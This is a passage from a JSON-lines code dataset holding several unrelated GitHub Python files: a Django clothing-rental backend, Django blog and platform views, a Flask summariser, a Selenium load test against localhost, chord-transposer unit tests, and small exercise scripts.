'name':name,'opisanie':opisanie,'brand':brand,'sex':sex,'material':Material,'del':Del,'id':tovar.id}\n\n\n\n    def miniSet(self,set):\n        Name = set.name\n        Cena = 'Не известно'\n        cena = set.vidarendisets_set.filter(vidArendi__name=\"Аренда\")\n        if (len(cena) != 0):\n            Cena = cena[0].stoimost\n\n        Foto = ''\n        photo = set.photosets_set.filter(Main=True)\n        if len(photo) > 0:\n            Foto =  photo[0].puth\n\n        Foto = set.photosets_set.filter(Main=True)[0]\n        opisanie = set.text\n        return {'name': Name, 'cena': Cena, 'foto': '/static/' + Foto.puth, 'opisanie': opisanie}\n\n    def MaxSet(self, set):\n        preobraz = self.SpisokTovar\n        def preobrazTovars(ttovarss):\n            tovar = []\n            for tov in ttovarss:\n                tova = preobraz(tov)\n                tovar.append(tova)\n            return tovar\n\n        tvr = set.tovarssets_set.all()\n        tovari = []\n        for t in tvr:\n            tovari.append(t.tovars)\n        tova = preobrazTovars(tovari)\n        name = set.name\n        stoimostAren = 'ХЗ'\n        Aren = set.vidarendisets_set.all().filter(vidArendi__name='Аренда')\n        if (len(Aren ) >0):\n            stoimostAren = Aren[0].stoimost\n\n        stoimostPogon = 'ХЗ'\n        Pogon = set.vidarendisets_set.all().filter(vidArendi__name='Погонять')\n        if (len(Pogon ) > 0):\n            stoimostPogon = Pogon[0].stoimost\n\n        return {'name':name,'pricaArend':stoimostAren,'pricePogon':stoimostPogon,'tovari':tova}\n\n    def MaxTovar(self, tvr):\n        try:\n            name = tvr.name\n            opisanie = tvr.Opisanie\n            material = tvr.Material\n\n            pricePogon = tvr.vidarenditovars_set.all().filter(vidArendi__name=\"Погонять\")\n            if len(pricePogon) != 0:\n                pricePogon = tvr.vidarenditovars_set.filter(vidArendi__name=\"Погонять\")[0].stoimost\n            else:\n                pricePogon = 0\n\n            priceArenda = tvr.vidarenditovars_set.all().filter(vidArendi__name=\"Аренда\")\n            if len(priceArenda) != 0:\n                priceArenda = tvr.vidarenditovars_set.filter(vidArendi__name=\"Аренда\")[0].stoimost\n            else:\n                priceArenda = 0\n\n            razm = tvr.sizetovars_set.all()\n            size = []\n            for siz in razm:\n                size.append(siz.Size.name)\n            photo = tvr.phototovara_set.all()\n            Phot = []\n            for i in photo:\n                Phot.append(i.photo)\n            main = tvr.phototovara_set.filter(main=True)\n\n            Main = tvr.phototovara_set.all().filter(main=True)\n            if len(Main) != 0:\n                Main = tvr.phototovara_set.all().filter(main=True)[0].photo\n            else:\n                Main = ''\n\n\n            return {'name': name, 'opisanie': opisanie, 'priceArenda': priceArenda, 'pricePogon': pricePogon, 'size': size,\n                    'photo':Phot, 'material': material, 'photMain': \"/static/\" + Main}\n        except:\n            return {'name': \"Товар не загрузился\", 'opisanie': \"пусто\", 'priceArenda': 0, 'pricePogon': 0,\n                    'size': [],\n                    'photo': \"\", 'material': \"пусто\", 'photMain': \"\"}\n\n    def TovarAdminMini(self, tvr):\n        name = tvr.name\n\n        pricePogon = tvr.vidarenditovars_set.all().filter(vidArendi__name=\"Погонять\")\n        if len(pricePogon) != 0:\n            pricePogon = tvr.vidarenditovars_set.filter(vidArendi__name=\"Погонять\")[0].stoimost\n        else:\n            pricePogon = 0\n\n        priceArenda = tvr.vidarenditovars_set.all().filter(vidArendi__name=\"Аренда\")\n        if len(priceArenda) != 0:\n            priceArenda = tvr.vidarenditovars_set.filter(vidArendi__name=\"Аренда\")[0].stoimost\n        else:\n            priceArenda = 0\n\n        zakazi = TovarPerson.objects.all().filter(VidArendiTovars__tovar__id=tvr.id).count()\n        like = tvr.likeperson_set.count()\n        date = tvr.DateAdd\n        datelast = tvr.DateEdit\n\n        return {'name':name, 'pricePogon':pricePogon, 'priceArenda':priceArenda, 'zakazi':zakazi, 'like':like, 'date':date,'datelast':datelast, 'id':tvr.id}\n\n\n    def TovarAdminMax(self,tovar):\n        foto = tovar.phototovara_set.all()\n        fotomass = []\n\n        for fot in foto:\n            if fot.main != True:\n                fotomass.append({\"foto\":fot.photo})\n\n        main = foto.filter(main=True)\n\n        if len(main)<1:\n            main = None\n        else:\n            main = main[0].photo\n\n        type = tovar.tovartypetovar_set.all()\n\n        masstipov = []\n\n        for ty in type:\n            masstipov.append(ty.typpe.name)\n\n\n\n        brand = tovar.brand.name\n\n        like = tovar.likeperson_set.count()\n\n        sets = Set.objects.filter(tovarssets__tovars__id = tovar.id)[0:10]\n\n\n        mass = []\n\n        sex = tovar.Sex\n\n        for set in sets:\n            name = set.name\n            id = set.id\n            mass.append({'name':name, 'id':id})\n\n        sezon = []\n\n        koll = tovar.sezontovar_set.all()\n        if len(koll) != 0:\n            for sez in tovar.sezontovar_set.all():\n                nazv = sez.seaz.name\n                sezon.append(nazv)\n\n        vid = []\n        koll = tovar.tovartypetovar_set.all()\n        if len(koll) != 0:\n            for type in tovar.tovartypetovar_set.all():\n                name = type.typpe.name\n                vid.append(name)\n\n        size = self.__size_Mas(tovar.sizetovars_set.all())\n        arenda = self.__rent_Mas(tovar.vidarenditovars_set.all())\n\n        return {'size':size,'dell':tovar.Del, 'type':vid, 'name':tovar.name,'id':tovar.id, 'materia':tovar.Material, 'brand':brand ,'arenda':arenda,  'opisanie':tovar.Opisanie,  'foto':fotomass, 'main':main, 'type':masstipov,'sex':sex,'sezon':sezon, 'like':like, 'set':mass }\n\n\n    def AdmMiniTovarNormExtra(self, tovar):\n        name = tovar.name\n        opisanie = tovar.Opisanie\n        brand = tovar.brand.name\n\n        sex = tovar.Sex.name\n\n        Material = tovar.Material\n\n        Del = 'Не известно'\n\n        if tovar.Del == True:\n            Del = \"Удален\"\n        else:\n            Del = \"Не удален\"\n\n        return {'name': name, 'opisanie': opisanie, 'brand': brand, 'sex': sex,\n                'material': Material, 'del': Del, 'id': tovar.id}\n\n    def PhotoTovara(self, tovar):\n        photomass = []\n\n        photki = tovar.phototovara_set.all()\n\n        if len(photki) > 0:\n            for t in photki:\n                photomass.append({\"photo\":t.photo,\"main\":t.main,'id':t.id, 'del':t.delete})\n        return photomass\n\n\n    def __size_Mas(self, size):\n        mass = []\n        if size != None:\n            for t in size:\n                name = t.Size.name\n                nal = t.nalichie\n                koll = 0\n                tranz = t.addtovars_set.all()\n                for z in tranz:\n                    koll = koll + z.count\n                mass.append({'name':name, 'nal':nal, 'koll':koll, 'id':t.id})\n        return mass\n\n    def __rent_Mas(self, arenda):\n        mass = []\n        if arenda != None:\n            for t in arenda:\n                name = t.vidArendi.name\n                platej = t.platej\n                stoimost = t.stoimost\n                vikup = t.vikup\n                vozvrat = t.Vozvrat\n                id = t.id\n                mass.append({'name': name, 'platej': platej, 'stoimost': stoimost, 'vikup': vikup, 'vozvrat':vozvrat, 'id':id})\n        return mass\n\n\n    def MaxPerson(self, person):\n        name = person.name\n        sex = person.sex\n\n        if sex == True:\n            sex = \"Мужской\"\n\n        if sex == False:\n            sex = \"Женский\"\n\n        email = person.Email\n        phone = person.phone\n        vk = person.Vk\n        insta = person.Insta\n        date = person.Bird\n        return {'name': name, 'sex': sex, 'email': email, \"phone\": phone, \"vk\": vk, \"insta\": insta, 'datebirth':date}\n\n    def TovarNalichie(self,tovar,bool):\n        try:\n            tovar.Nalichie = bool\n            tovar.save()\n            return  True\n        except:\n            return False\n\n    def TovarUdalen(self, tovar, bool):\n        try:\n            tovar.Del = bool\n            tovar.save()\n            return  True\n        except:\n            return False\n\n    def PersonBalanse(self, person):\n        minus = person.addpaid_set.filter(status=True, plusminus=\"False\")\n        plus = person.addpaid_set.filter(status=True, plusminus=\"True\")\n        Plus = 0\n        for pl in plus:\n            Plus = Plus + pl.money\n        Minus = 0\n        for mn in minus:\n            Minus = Minus + mn.money\n        return Plus - Minus\n\n\n    def AdmMaxPerson(self, person):\n        user = person.user\n        sex = person.sex\n        phone = person.phone\n        Vk = person.Vk\n        Insta = person.Insta\n        Status = person.Status\n        DateReg = person.DateReg\n        DataLast = person.DataLast\n        Zamoroz = person.Zamoroz\n        Balans = self.PersonBalanse(person)\n        Email = person.Email\n        name = person.name\n        Bird = person.Bird\n        Adress = person.Adress\n        id = person.id\n        schmotki = person.tovarperson_set.all()\n\n        chislo = schmotki.count()\n\n        massvechi = []\n\n        for ve in schmotki:\n            tov = ve.VidArendiTovars.tovar\n            obrve = self.TovarAdminMini(tov)\n            massvechi.append(obrve)\n\n        otz = person.otziv_set.all()\n\n        massotz = []\n\n        for ot in otz:\n            massotz.append(self.OtziviMax(ot))\n\n        plata = 0\n\n        tovars = person.tovarperson_set.all().values('VidArendiTovars__stoimost')\n\n        zakazs = []\n        zakazi = person.zakaz_set.all()\n        for zak in zakazi:\n            elem = self.zakazMini(zak)\n            zakazs.append(elem)\n\n        for t in tovars:\n            plata = plata + int(t['VidArendiTovars__stoimost'])\n\n        return {'name':name, 'adress':Adress,'zakazi':zakazs, 'datereg':DateReg, 'datelast':DataLast, 'plata':plata, 'schchislo':chislo,'balans':Balans, 'birth':Bird, 'zamoroz':Zamoroz, 'email':Email,\n                'phone':phone,'sex':sex, 'tovari':massvechi,'id':id, 'otzivi':massotz}\n\n\n    def zakazMini(self, zakaz):\n        nomer = zakaz.nomer\n        kolich = zakaz.tovarszakaz_set.all().count()\n        date = zakaz.date\n        pers = zakaz.person.name\n        return {'nomer':nomer,'kolich':kolich,'date':date,'pers':pers,'id':zakaz.id}\n\n    def AdmMini(self, person):\n        user = person.user\n        sex = person.sex\n        phone = person.phone\n        Vk = person.Vk\n        Insta = person.Insta\n        Status = person.Status\n        DateReg = person.DateReg\n        DataLast = person.DataLast\n        Zamoroz = person.Zamoroz\n        Balans = person.Balans\n        Email = person.Email\n        name = person.name\n        Bird = person.Bird\n        Adress = person.Adress\n        id = person.id\n\n\n        return {'name': name, 'adress': Adress, 'datereg': DateReg, 'datelast': DataLast,\n                'balans': Balans, 'birth': Bird, 'zamoroz': Zamoroz, 'email': Email,\n                'phone': phone, 'sex': sex, 'id':id}\n\n\n    def AdmPersZamoroz(self, client, bool):\n        try:\n            client.Zamoroz = bool\n            client.save()\n            return True\n        except:\n            return False\n\n\n\n\n    def AdmBalance(self, client, money):\n        try:\n            paid = AddPaid(status=True, date=datetime.now(), person=client, money=money)\n            paid.save()\n            return True\n        except:\n            return False\n\n\n    def AdmPass(self, client, password):\n        try:\n            u = client.user\n            u.set_password(password)\n            u.save()\n            return True\n        except:\n            return False\n\n    def AdmAddTovar(self, client, Tovar):\n        try:\n            tov =  TovarPerson(person=client, VidArendiTovars=Tovar)\n            tov.save()\n            return True\n        except:\n            return False\n\n    def OtziviMax(self, otz):\n\n\n        Opisanie = otz.Opisanie\n        zvezdi = otz.zvezdi\n        delete = otz.delete\n        otvet = None\n        if otz.Otvet !=None:\n            otvet = otz.Otvet\n\n        name=None\n        idpers=None\n        if otz.Person !=None:\n            name = otz.Person.name\n            idpers = otz.Person.id\n\n        namef = None\n        if otz.nameperson !=None:\n            namef = otz.nameperson\n            idpers=2\n\n        date = otz.date\n\n        dannTovar = None\n        if otz.Tovar !=None:\n            Tovar = otz.Tovar\n            dannTovar = self.miniNormTovar(Tovar)\n\n        dannSet = None\n        if otz.Set !=None:\n            Set = otz.Set\n            dannSet = self.miniSet(Set)\n\n        Status = otz.Status\n        otvet = {'Opisanie':Opisanie,'delete':delete,'otvet':otvet, 'id':otz.id, 'zvezdi':zvezdi, 'name':namef, 'date':date, 'Status':Status}\n\n\n        return {'otziv':otvet, 'client':{'name':name,'id':idpers}, 'tovar':dannTovar, 'set':dannSet}\n\n    def DelOtz(self, otz, bool):\n        try:\n            otz.delete = bool\n            otz.save()\n            return True\n        except:\n            return False\n\n    def Razresh(self, otz, bool):\n        try:\n            if bool == True:\n                otz.Status = \"Принят\"\n            if bool == False:\n                otz.Status = \"Отклонен\"\n            otz.save()\n            return True\n        except:\n            return False\n\n    def OtvetOtz(self,otz, txt, bool=False):\n        try:\n            if bool == False:\n                otz.Otvet = txt\n                otz.save()\n            else:\n                otz.Otvet = None\n                otz.save()\n            return True\n        except:\n            return False\n\n\n    def MaxOper(self, oper):\n        status = oper.status\n        plusminus = oper.plusminus\n        person = self.AdmMaxPerson(oper.person)\n        date = oper.date\n        money = oper.money\n\n        tovar = None\n        tovPer = None\n        rent = None\n        size = None\n        if oper.tovPer !=None:\n            tovPer = oper.tovPer\n            tovar =tovPer.VidArendiTovars.tovar\n            tovar = self.AdmMiniTovarNormExtra(tovar)\n            if tovPer.VidArendiTovars != None:\n                rent = self.__rent_Mas([tovPer.VidArendiTovars])\n            if tovPer.size != None:\n                size = tovPer.size\n\n        return {'status':status,'plusminus':plusminus,'pers':person,'date':date,'money':money,'tovPer':tovPer,'arenda':rent,'size':size, 'tovar':tovar, 'id':oper.id}\n\n    def ZakazMini(self, zakaz):\n        code = zakaz.nomer\n        name = zakaz.person.name\n        date = zakaz.date\n        tovari = None\n        schmotki = zakaz.tovarszakaz_set.all()\n        if len(schmotki) >0:\n            tovari = []\n        for sch in schmotki:\n            tovari.append(sch.tovar.tovar.name)\n        vid = zakaz.vidann\n\n        return {'name':name,'vid':vid,'date':date,'code':code, 'tovari':tovari, 'id':zakaz.id, 'status':zakaz.status}","repo_name":"disant9807/Rent-clothes-working-site","sub_path":"BackEnd/firstapp/BAZA_bue.py","file_name":"BAZA_bue.py","file_ext":"py","file_size_in_byte":18781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29449668757","text":"# -*- coding: utf-8 -*-\r\nfrom ir_image_processing import IRImage, IRSensor\r\n\r\n###main function\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    try:\r\n       sensor = IRSensor()\r\n       sensor.callibrate()\r\n        \r\n    except KeyboardInterrupt:\r\n        print(\"CTRL-C: Program Stopping via Keyboard Interrupt...\")\r\n\r\n    finally:\r\n        print(\"Exiting Loop\") \r\n\r\n","repo_name":"xRamsonx/AIME_Python","sub_path":"calibrateIR.py","file_name":"calibrateIR.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"27670198792","text":"N, m, M, T, R = map(int, input().split())\n# N 운동시간, m 최저맥박, M 최대맥박, T 맥박증가, R 맥박감소\ntime = 0\ncnt = 0\nnow = m\nwhile cnt < N:\n    if time == 0 and m+T > M:\n        print(-1)\n        break\n    if now+T <= M:\n        now += T\n        time += 1\n        cnt += 1\n    else:\n        if now - R < m:\n            now = m\n            time +=1\n        else:\n            now -= R\n            time +=1\nelse:\n    print(time)","repo_name":"dlush93/My_Algorithm","sub_path":"BAEKJOON/Bronze/B2/1173. 운동.py","file_name":"1173. 운동.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30496296651","text":"from flask import Flask,request,render_template,jsonify\nfrom ainize import *\nfrom src.data import *\n# 남이 만든 모듈을 내가 가져다 사용\n# from model import predictMainStream\n\napp = Flask(__name__)\n\n@app.route('/')\ndef home():\n    return render_template('index.html')\n\n@app.route('/short', methods=['POST'])\ndef short():\n    res = {\n        'msg': decoding_summary_text(mySummary_text_ids(request.form['msg']))\n    }\n    return jsonify(res)\n\n@app.route('/analisys',methods=['POST'])\ndef analisys():\n    res ={\n        'msg' : getName(0)\n    }\n    return jsonify(res)\n\nif __name__=='__main__':\n    app.run(debug=True)","repo_name":"Busan-Bigdata-analysis/news_analysis","sub_path":"totalWeb/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"14192112592","text":"import statistics\nimport time\n\nfrom selenium import webdriver\nfrom selenium.webdriver.firefox.options import Options as FirefoxOptions\nfrom selenium.webdriver.firefox.service import Service\n\n\n# Function to measure the response time of a route\ndef measure_response_time(url):\n    options = FirefoxOptions()\n    options.set_preference(\"media.autoplay.default\", 0)\n    options.set_preference(\"media.autoplay.allow-muted\", True)\n    options.add_argument(\"-headless\")  # Run Firefox in headless mode (optional)\n\n    # Set the path to the Firefox driver executable\n    firefox_driver_path = r\"C:\\Users\\Loukas Melissopoulos\\Documents\\PythonProjekte\\FlaskVideo\"\n\n    driver = webdriver.Firefox(service=Service(firefox_driver_path), options=options)\n\n    start_time = time.time()\n    driver.get(url)\n    end_time = time.time()\n\n    driver.quit()\n\n    response_time = (end_time - start_time) * 1000  # Convert to milliseconds\n    return response_time\n\n\n# Function to run the load testing\ndef run_load_testing(routes, num_users, num_requests):\n    response_times = []\n\n    for _ in range(num_users):\n        user_times = []\n        for _ in range(num_requests):\n            for route in routes:\n                response_time = measure_response_time(route)\n                user_times.append(response_time)\n        response_times.append(user_times)\n\n    return response_times\n\n\nif __name__ == '__main__':\n    routes = ['http://localhost:5000/video', 'http://localhost:5000/video_buff', 'http://localhost:5000/video_comp']\n    num_users = 100\n    num_requests = 10\n\n    # Run the load testing\n    response_times = run_load_testing(routes, num_users, num_requests)\n\n    # Calculate statistics\n    for i, route in enumerate(routes):\n        times = []\n        for user_times in response_times:\n            times.extend(user_times[i::len(routes)])  # Get response times for the specific route\n\n        print(f\"Statistics for route '{route}':\")\n        print(f\"  Average Response Time: {statistics.mean(times):.2f} ms\")\n        print(f\"  Minimum Response Time: {min(times):.2f} ms\")\n        print(f\"  Maximum Response Time: {max(times):.2f} ms\")\n        print(f\"  Standard Deviation: {statistics.stdev(times):.2f} ms\")\n","repo_name":"melissol/FlaskVideo","sub_path":"Selenium_NewTest.py","file_name":"Selenium_NewTest.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39254600404","text":"import unittest\n\nimport chord\n\n\nclass TestChordValidity(unittest.TestCase):\n    def setUp(self):\n        self.data_and_expectations = [\n            ('A', True),\n            ('B', True),\n            ('Bm', True),\n            ('A#', True),\n            ('A#m', True),\n            ('Am#', False),\n            ('H', True),    # German notation = B\n            ('J', False),\n        ]\n\n    def test_valid_and_invalid_chords(self):\n        for test_input, expectation in self.data_and_expectations:\n            c = chord.Chord(test_input)\n            self.assertEqual(c.is_valid(), expectation)\n\n\nclass TestChordNames(unittest.TestCase):\n    def setUp(self):\n        pass\n\n    def test_get_em_default_name(self):\n        em = chord.Chord(8, 'm')\n        self.assertEqual(em.get_chord_text(), 'Em')\n\n    def test_get_em_sharp_name(self):\n        em = chord.Chord(8, 'm')\n        self.assertEqual(em.get_sharp_name(), 'Em')\n\n    def test_get_em_flat_name(self):\n        em = chord.Chord(8, 'm')\n        self.assertEqual(em.get_flat_name(), 'Em')\n\n\nclass TestGetSuffixes(unittest.TestCase):\n    def setUp(self):\n        self.data_and_expectations = [\n            ('Em7', 'm7'),\n            ('A', ''),\n            ('Bbm', 'm'),\n            ('G/C', '/C')\n        ]\n\n    def test_transposing_chords(self):\n        for chord_text, expectation in self.data_and_expectations:\n            c = chord.Chord(chord_text)\n            self.assertEqual(c.get_suffixes(), expectation)\n\n\nclass TestTransposeChords(unittest.TestCase):\n    def setUp(self):\n        self.data_and_expectations = [\n            ('Em', -3, 'C#m'),\n            ('Esus4', +1, 'Fsus4'),\n            ('Bm7', 0, 'Bm7'),\n            ('Ab', +1, 'A'),\n            ('G', +5, 'C'),\n            ('C', -5, 'G'),\n            ('F#', -2, 'E'),\n        ]\n\n    def test_transposing_chords(self):\n        for chord_text, semitones, expectation in self.data_and_expectations:\n            c = chord.Chord(chord_text)\n            c.transpose(semitones=semitones)\n            self.assertEqual(c.get_chord_text(), expectation)\n\n\nclass TestGetDifficulty(unittest.TestCase):\n    def setUp(self):\n        self.simple_data_and_expectations = [\n            ('E', 0),\n            ('F', 1),\n            ('B', 5),\n            ('A', 1),\n            ('G', 0),\n            ('C', 0),\n        ]\n        self.sharps_flats_minors_data_and_expectations = [\n            ('Em', 0),\n            ('F#', 5),\n            ('Bm', 2),\n            ('Am', 0),\n            ('Gb', 5),\n            ('C#m', 5),\n        ]\n        self.suffixes_data_and_expectations = [\n            ('Asus2', 1),\n            ('Dsus4', 0),\n            ('Cadd9', 0),\n            ('E7', 0),\n            ('Gbm', 5),\n            ('C#m7', 5),\n        ]\n\n    def test_simple_chords(self):\n        for chord_text, expected_difficulty in self.simple_data_and_expectations:\n            c = chord.Chord(chord_text)\n            result = c.get_difficulty()\n            self.assertEqual(result, expected_difficulty)\n\n    def test_sharps_flats_minors(self):\n        for chord_text, expected_difficulty in self.sharps_flats_minors_data_and_expectations:\n            c = chord.Chord(chord_text)\n            result = c.get_difficulty()\n            self.assertEqual(result, expected_difficulty)\n\n    def test_suffixes(self):\n        for chord_text, expected_difficulty in self.suffixes_data_and_expectations:\n            c = chord.Chord(chord_text)\n            result = c.get_difficulty()\n            self.assertEqual(result, expected_difficulty)\n","repo_name":"JamesBradbury/song-chords-transposer","sub_path":"tests/test_chord.py","file_name":"test_chord.py","file_ext":"py","file_size_in_byte":3507,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"513774661","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.views import View\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.core.exceptions import ObjectDoesNotExist, ValidationError\nfrom .models import Article, Comment, HashTag\nfrom .forms import ArticleForm, CommentForm, HashTagForm\n\n\nclass Index(View):\n    def get(self, request):\n        articles = Article.objects.all()\n        context = {\n            \"articles\": articles,\n            \"title\": \"Articles List\"\n        }\n        return render(request, 'articles/list.html', context)\n\n\nclass Write(LoginRequiredMixin, View):\n    def get(self, request):\n        form = ArticleForm()\n        context = {\n            'form': form,\n            \"title\": \"Article Write\"\n        }\n        return render(request, 'articles/write.html', context)\n    \n    def post(self, request):\n        form = ArticleForm(request.POST, request.FILES)\n        \n        if form.is_valid():\n            article = form.save(commit=False)\n            article.writer = request.user\n            article.save()\n            return redirect('articles:list')\n        \n        context = {\n            'form': form\n        }\n        \n        return render(request, 'articles/write.html', context)\n\n\nclass Update(View):\n    def get(self, request, pk):\n        article = get_object_or_404(Article, pk=pk)\n        form = ArticleForm(initial={'title': article.title, 'content': article.content})\n        context = {\n            'form': form,\n            'article': article,\n            \"title\": \"Edit\"\n        }\n        return render(request, 'articles/edit.html', context)\n    \n    def post(self, request, pk):\n        article = get_object_or_404(Article, pk=pk)\n        form = ArticleForm(request.POST)\n        \n        if form.is_valid():\n            article.title = form.cleaned_data['title']\n            article.content = form.cleaned_data['content']\n            article.save()\n            return redirect('articles:detail', pk=pk)\n        \n        context = {\n            'form': form,\n            \"title\": \"Blog\"\n        }\n        \n        return render(request, 'articles/edit.html', context)\n        \n\nclass Delete(View):\n    def post(self, request, pk):\n        post = get_object_or_404(Article, pk=pk)\n        post.delete()\n        return redirect('articles:list')\n\n\nclass DetailView(View):\n    def get(self, request, pk):\n        article = Article.objects.prefetch_related('comment_set', 'hashtag_set').get(pk=pk)\n        \n        comments = article.comment_set.all()\n        hashtags = article.hashtag_set.all()\n\n        comment_form = CommentForm()\n        hashtag_form = HashTagForm()\n        \n        context = {\n            \"title\": \"Article\",\n            'article': article,\n            'article_id': pk,\n            'article_title': article.title,\n            'article_writer': article.writer,\n            'article_content': article.content,\n            'article_views': article.views,\n            'article_img_url' : article.img.url,\n            'article_created_at': article.created_at,\n            'comments': comments,\n            'hashtags': hashtags,\n            'comment_form': comment_form,\n            'hashtag_form': hashtag_form,\n        }\n        \n        return render(request, 'articles/detail.html', context)\n\n\n### Comment\nclass CommentWrite(LoginRequiredMixin, View):\n    def post(self, request, pk):\n        form = CommentForm(request.POST)\n        article = get_object_or_404(Article, pk=pk)\n\n        if form.is_valid():\n            content = form.cleaned_data['content']\n            writer = request.user\n\n            try:\n                comment = Comment.objects.create(article=article, content=content, writer=writer)\n            except ObjectDoesNotExist as e:\n                print('Post does not exist.', str(e))\n            except ValidationError as e:\n                print('Valdation error occurred', str(e))\n            \n            return redirect('articles:detail', pk=pk)\n        \n        hashtag_form = HashTagForm()\n        \n        context = {\n            \"title\": \"Blog\",\n            'article_id': pk,\n            'comments': article.comment_set.all(),\n            'hashtags': article.hashtag_set.all(),\n            'comment_form': form,\n            'hashtag_form': hashtag_form\n        }\n        return render(request, 'articles/detail.html', context)\n\n\nclass CommentDelete(View):\n    def post(self, request, pk):\n        comment = get_object_or_404(Comment, pk=pk)\n        \n        article_id = comment.article.id\n\n        comment.delete()\n        \n        return redirect('articles:detail', pk=article_id)\n\n\n### Tag\nclass HashTagWrite(LoginRequiredMixin, View):\n    def post(self, request, pk):\n        form = HashTagForm(request.POST)\n        \n        article = get_object_or_404(Article, pk=pk)\n        \n        if form.is_valid():\n            name = form.cleaned_data['name']\n            writer = request.user\n\n            try:\n                hashtag = HashTag.objects.create(article=article, name=name, writer=writer)\n            except ObjectDoesNotExist as e:\n                print('Article does not exist.', str(e))\n            except ValidationError as e:\n                print('Valdation error occurred', str(e))\n\n            return redirect('articles:detail', pk=pk)\n\n        comment_form = CommentForm()\n        \n        context = {\n            'title': 'Article',\n            'article': article,\n            'comments': article.comment_set.all(),\n            'hashtags': article.hashtag_set.all(),\n            'comment_form': comment_form,\n            'hashtag_form': form\n        }\n        \n        return render(request, 'articles/detail.html', context)\n\n\nclass HashTagDelete(View):\n    def post(self, request, pk):\n        hashtag = get_object_or_404(HashTag, pk=pk)\n        article_id = hashtag.article.id\n\n        hashtag.delete()\n        \n        return redirect('articles:detail', pk=article_id)","repo_name":"Water-Stone/my-dev-blog","sub_path":"articles/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71281396262","text":"import re\nrobocop = re.compile(r'robocop', re.I)\nmo1 = robocop.search('PRobocop is part man, part machine, all cop.')\n\n#print(mo1.group())\n\nnamesRegex = re.compile(r'Agent \\w+')\nmo2 = namesRegex.sub('CENSORED', 'Agent Alisce gave the secret documents to Agent Bob.')\n\nprint(mo2)\n\nphoneRegex = re.compile(r'''(\n    (\\d{3}|(\\d{3}\\))?  # area code\n    (\\s|-|\\.)?   # separator\n\n)'''.re.VERBOSE)\n\nsomesRegexValue = re.compile('foo', re.IGNORECASE|re.DOTALL|re.VERBOSE)","repo_name":"eatmore/python_practice","sub_path":"python_auto/ex03.py","file_name":"ex03.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19095990653","text":"import time\r\n\r\nimport pyvjoy\r\n\r\n\r\ndef test():\r\n    j = pyvjoy.VJoyDevice(1)\r\n    i = 1\r\n    while (True):\r\n        # left_stick\r\n        j.data.wAxisX = i\r\n        # left_trigger\r\n        j.data.wAxisY = i\r\n        # right_trigger\r\n        j.data.wAxisZ = i\r\n        j.update()\r\n        print(i)\r\n        i = i + 1\r\n        time.sleep(0.0001)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    test()\r\n","repo_name":"facewise/inhapilot","sub_path":"play/project1.py","file_name":"project1.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"9695002783","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.models import User\nfrom django.templatetags.static import static\nfrom django.views.generic import  ListView\nfrom django.views.generic.edit import  CreateView, DeleteView, UpdateView\nfrom django.views.decorators.csrf import csrf_protect\nfrom django.utils.decorators  import method_decorator\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.urls import reverse, reverse_lazy\nfrom backoffice.forms import PlatformForm\nfrom backoffice.models import Platform\nfrom django.core.paginator import Paginator\n\n\n# Create your views here.\n\nclass PlatformList(LoginRequiredMixin, ListView):\n    model = Platform\n    paginate_by = 10\n    template_name = 'platforms/all_platforms.html'\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['table_tittle'] = 'platform List'\n        context['table_subtittle'] = 'All platforms'\n        return context\n    \n    def dispatch(self, *args, **kwargs):\n        return super().dispatch(*args, **kwargs)\n\n\nclass PlatformCreate(CreateView):\n    model = Platform\n    form_class = PlatformForm\n    template_name = 'platforms/new_platform.html'\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['tittle'] = 'Platform Forms'\n        context['table_tittle'] = 'New platform'\n        context['table_subtittle'] = 'Add here your new platform'\n        context['action'] ='add'\n        return context\n    \n    def dispatch(self, *args, **kwargs):\n        return super().dispatch(*args, **kwargs)\n\n    def get_success_url(self):\n        return reverse('all_platform')\n\n\nclass PlatformUpdate(UpdateView):\n    model = Platform\n    form_class = PlatformForm\n    template_name = 'platforms/update_platform.html'\n    success_url = reverse_lazy('all_platform')\n    \n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['tittle'] = 'Platform Forms'\n        context['table_tittle'] = 'Edit platform'\n        context['table_subtittle'] = 'Modify here your platform'\n        context['action'] ='edit'\n        return context\n\n    def dispatch(self, *args, **kwargs):\n        return super().dispatch(*args, **kwargs)\n\n\nclass PlatformDelete(DeleteView):\n    model = Platform\n    template_name = 'platforms/delete_platform.html'\n    success_url = reverse_lazy('all_platform')\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['tittle'] = 'Platform Forms'\n        context['table_tittle'] = 'Delete platform Form'\n        context['table_subtittle'] = 'Delete here your platform'\n        return context\n\n    def dispatch(self, *args, **kwargs):\n        return super().dispatch(*args, 